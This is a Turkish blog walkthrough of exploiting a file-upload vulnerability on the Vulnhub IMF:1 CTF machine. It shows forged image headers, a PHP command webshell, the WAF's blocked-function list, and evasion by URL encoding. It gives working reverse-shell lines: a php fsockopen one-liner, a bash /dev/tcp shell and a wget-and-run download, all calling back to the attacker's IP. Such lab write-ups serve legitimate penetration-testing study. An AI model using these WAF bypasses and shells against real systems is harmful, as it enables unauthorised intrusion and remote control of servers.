WAF (Web Application Firewall) Kontrolünü Atlatarak Dosya Yükleme Zafiyetinin İstismar Edilmesi

Web uygulamaları sızma testleri sırasında kullanılan güvenlik mekanizmalarının atlatılarak web uygulamasını istismar etme ihtiyacı olabilir. Bu yazıda, web hizmeti veren IMF:1 sanal makinesindeki WAF (Web Application Firewall) koruması atlatılarak dosya yükleme özelliği istismar edilecek ve işletim sisteminde uygulama kullanıcısı yetkileri ile oturum açılacaktır.

Yazıda kullanılan IMF:1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/imf-1,162/

 

Dosya yükleme zafiyetinin bulunduğu sayfaya aşağıdaki link üzerinden erişilebilir.

http://10.10.2.181/imfadministrator/uploadr942.php

 

A) Dosya Uzantı Kontrolünün Atlatılması

“Browse” butonuna tıklanarak gelen ekranda bir PHP dosyası seçilir.

/usr/share/webshells/php/php-reverse-shell.php

 

“Upload” butonu ile seçilen dosya yüklenir.

 

PHP dosyası yüklenmeye çalışıldığında, dosya tipinden dolayı hata mesajı alınmaktadır.

Error: Invalid file type.

 

Not: Alınan hata mesajının sebebi dosya yükleme sayfasındaki (uploadr942.php) uzantı kontrolüdür.

head -70 uploadr942.php | tail -37

 

JPG dosyası yüklenebilmektedir.

/usr/lib/dradis/app/assets/images/profile.jpg

 

Bir CTF makinesi olan IMF:1 makinesindeki zafiyetli web uygulamasına dosya yüklendiğinde, sunucu tarafından gönderilen cevapta dosyanın adı görülmektedir.

 

Dosyaların yüklendiği klasörde (/uploads/) dosya görülebilmektedir.

http://10.10.2.181/imfadministrator/uploads/8b409116692f.jpg

 

B) Dosya İçerik Kontrolünün Atlatılması

Basit bir PHP dosyası yüklenmeye çalışıldığında ise dosya içeriğinden dolayı hata mesajı döndürülmektedir.

echo ‘<?php phpinfo(); ?>’ > Sayfa.jpg

Error: Invalid file data.

 

Hatayı atlatmak için dosya başına FFD8FFEo yazılır.

echo ‘FFD8FFEo’ | xxd -r -p > Sayfa-2.jpg
echo ‘<?php phpinfo(); ?>’ >> Sayfa-2.jpg
cat Sayfa-2.jpg

 

Not: Diğer yöntemler için kaynaklardaki (düşük zorluk seviyesindeki) DVWA yazısı incelenebilir.

 

C) Çalıştırılabilir İçeriğin Yüklenmesi

Ancak bu şekilde PHP içeriği yorumlanmamakta ve doğrudan ekrana yazılmaktadır.

curl -v http://10.10.2.181/imfadministrator/uploads/4bb7dffada4b.jpg

 

Bunun üzerine dosya uzantısı “jpg” yerine “gif” yapıldığında dosya yine yüklenebilmektedir.

mv Sayfa-2.jpg Sayfa-3.gif

 

“gif” uzantılı dosya içerisindeki PHP içeriği yorumlanmaktadır.

curl -v http://10.10.2.181/imfadministrator/uploads/a7229aeba35d.gif

 

Not: Bu kısıtlama .htaccess dosyasında yapılmıştır.

cat /var/www/html/imfadministrator/uploads/.htaccess

 

D) WAF Kontrolünün Atlatılma Denemeleri

D.1) Deneme – 1:

Dosya dahil etme zafiyetine sahip basit bir sayfa yüklenmeye çalışıldığında WAF tarafından PHP “exec” fonksiyonunun kullanılmayacağına dair bir hata mesajı döndürülmekte ve dosya yüklenmemektedir.

cat shell-exec.gif

Error: CrappyWAF detected malware. Signature: exec php function detected

 

D.2) Deneme – 2:

Kali üzerinde gelen zararlı PHP dosyası yüklenmeye çalışıldığında da WAF tarafından PHP “fsockopen” fonksiyonunun kullanılmayacağına dair bir hata mesajı döndürülmekte ve dosya yüklenmemektedir.

echo GIF > php-reverse-shell.gif
cat /usr/share/webshells/php/php-reverse-shell.php >> php-reverse-shell.gif

Error: CrappyWAF detected malware. Signature: fsockopen php function detected

 

D.3) Deneme – 3:

Başka bir PHP dosyası yüklenmeye çalışıldığında da WAF tarafından PHP “system” fonksiyonunun kullanılmayacağına dair bir hata mesajı döndürülmekte ve dosya yüklenmemektedir.

echo GIF89a > system-get.gif
echo ‘<?php system($_GET[‘Komut’]) ?>’ >> system-get.gif

 

Not: Alınan hata mesajının sebebi dosya yükleme sayfasındaki (uploadr942.php) yasaklı fonksiyonların kontrolüdür.

head -32 uploadr942.php

 

Sanal makinede kontrol edilen yasaklı ifade ve fonksiyonlar aşağıdaki gibi sıralanabilir.

  • \\*<?php /**/ –> ‘Meterpreter payload detected’,
  • eval –> ‘Eval php function detected’,
  • base64_decode –> ‘Base64_decode php function detected’,
  • fopen –> ‘fopen php function detected’,
  • system –> ‘system php function detected’,
  • passthru –> ‘passthru php function detected’,
  • exec –> ‘exec function php detected’,
  • pcntl_exec –> ‘pcntl_exec php function detected’,
  • popen –> ‘popen php function detected’,
  • fsockopen –> ‘fsockopen php function detected’,
  • proc_open –> ‘proc_open php function detected’,
  • fclose –> ‘fclose php function detected’

 

E) WAF Kontrolünün Atlatılması

WAF kontrolleri incelendiğinde bir çok fonksiyon yasaklanmış olduğu görülmektedir. Ancak,

  • eval” fonksiyonu yasaklı iken, “assert” fonksiyonu yasaklı değildir.
  • base64_decode” fonksiyonu yasaklı iken, “str_rot13” fonksiyonu yasaklı değildir.
  • URL kodlama engellenmemiştir.

Komut satırı erişimi elde etmek için çeşitli yöntemler uygulanabilir. Bu yöntemleri uygulamadan önce komut satırı bağlantı isteğini yakalayacak olan dinleyici başlatılır.

nc -nlvp 1234

 

E.1) Yöntem – 1:

Yasaklı olan fonksiyonlar kullanılmadığında dosya (degiskenli-get.gif) yüklenebilmiştir.

echo ‘474946383961’ | xxd -r -p > degiskenli-get.gif
echo ‘<?php $sonuc=$_GET[‘komut’]; echo $sonuc; ?>’ >> degiskenli-get.gif

 

Not: En çok kullanılan uzantılar, dosya başlığı ve onaltılık formattaki değerleri aşağıdaki gibi sıralanabilir.

  • jpg – JFIF – FF D8 FF EO 00 10 4A 46 49 46
  • gif – GIF89a – 47 49 46 38 39 61
  • png – PNG – 89 50 4E 47

Dosya çağırılarak komut çıktıları elde edilebilir.

http://10.10.2.181/imfadministrator/uploads/8b8cea422c9c.gif?komut=id;uname%20-a;cat%20/etc/*release*;cat%20/etc/passwd

 

Komut satırı erişimi elde etmek için PentestMonkey sitesindeki aşağıdaki PHP komutu, WAF engeline takılmadan kullanılabilir.

php -r ‘$sock=fsockopen(“10.10.2.133”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Aşağıdaki gibi bir deneme yapıldığında bağlantı talebi oluşmamıştır.

http://10.10.2.181/imfadministrator/uploads/8b8cea422c9c.gif?komut=php -r ‘$sock=fsockopen(“10.10.2.133”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

URL kodlama WAF tarafından engellenmeye çalışılmadığı için PentestMonkey bağlantısındaki kodun URL kodlanmış hali denendiğinde komut satırı erişimi elde edilebilmiştir.

http://10.10.2.181/imfadministrator/uploads/8b8cea422c9c.gif?komut=php%20-r%20%27%24sock%3Dfsockopen(%2210.10.2.133%22%2C1234)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B%27

 

E.2) Yöntem – 2:

İlk yöntemdeki gibi GIF uzantılı dosya (degiskenli-get.gif) yüklendikten sonra, WAF engeline takılmamak için ters bağlantı sağlayacak basit bir komut da hedef sistem üzerinde çalıştırılabilir. Bu amaçla “TersBaglanti” adlı dosya içerisine aşağıdaki komutlar yazılır ve bir web uygulaması başlatılır.

echo “bash -i >& /dev/tcp/10.10.2.133/1234 0>&1” > TersBaglanti
python -m SimpleHTTPServer 8888

 

Böylece komut satırı erişimi elde edilebilmiştir.

http://10.10.2.181/imfadministrator/uploads/8b8cea422c9c.gif?komut=wget%20http://10.10.2.133:8888/TersBaglanti;/bin/bash%20TersBaglanti

 

E.3) Yöntem – 3:

Base64 ile kodlama ve kod çözme yerine ROT13 ile kodlama ve kod çözme de gerçekleştirilebilir. Ayrıca URL kodlama yasak olmadığı için URL kodlama ile istenilen komutlar kullanılabilir. Bu amaçla klasik PHP webshell (/usr/share/webshells/php/php-reverse-shell) içeriği önce URL kodlamadan geçirilip, sonra da ROT13 ile döndürülerek kodlanınca elde edilen sonuç aşağıda XXX ile belirtilen kısma eklendiğinde “KodlanmisMetin” değişkenine atanacaktır. Bu değişken de önce ROT13 ile döndürülüp sonra da URL kod çözme fonksiyonlarından geçirildiğinde eski haline dönecektir. Sonra da çalıştırılacaktır.

 

URL kodlama işlemi için örnek site:

https://www.urlencoder.org/

 

ROT13 kodlama işlemi için örnek site:

http://www.rot13.com/

 

Elde edilen metin “XXX” ile belirtilen yere yapıştırıldığında zararlı PHP dosyası hazırlanmış olur.

 

Kodun sonu:

 

Sonrasında ilgili sayfa çağırıldığında erişim sağlanabilmektedir.

 

Not: Deneme sırasında beklenildiği şekilde erişim elde edilememiştir. Ancak kaynaklardaki Reedphish bağlantısında erişim elde edildiği belirtilmektedir.

Not: Bu sanal makinede WAF korumasını atlatmak için weevely aracı da kullanılabilir. Aracın kullanımı için kaynaklardaki (orta zorluk seviyedeki) DVWA yazısı okunabilir.

WAF atlatma ile ilgili diğer teknikler için kaynaklardaki SsecurityOnline yazısı incelenebilir.

 

Kaynaklar:

https://reedphish.wordpress.com/2016/11/20/imf-walkthrough/
IMF Vulnhub Writeup [m4dm4n w/ n1h1l w/ pzyc0 w/ trickster0]
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://t0w3ntum.com/2016/11/06/imf-vulnhub/

IMF 1

OWASP DVWA – File Upload (Orta Seviye): Dosya Yükleme Zafiyeti Bulunan Uygulamaya Hazırlanan PHP Dosyasının Yüklenmesi ve İşletim Sisteminde Komut Çalıştırılması

OWASP DVWA – File Upload (Düşük Seviye): Dosya Yükleme Zafiyeti Bulunan Uygulamaya Weevely ile Hazırlanan PHP Dosyasının Yüklenmesi ve Kabuk Erişiminin Elde Edilmesi


https://securityonline.info/bypwass-waf-upload-shell-webserver/

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.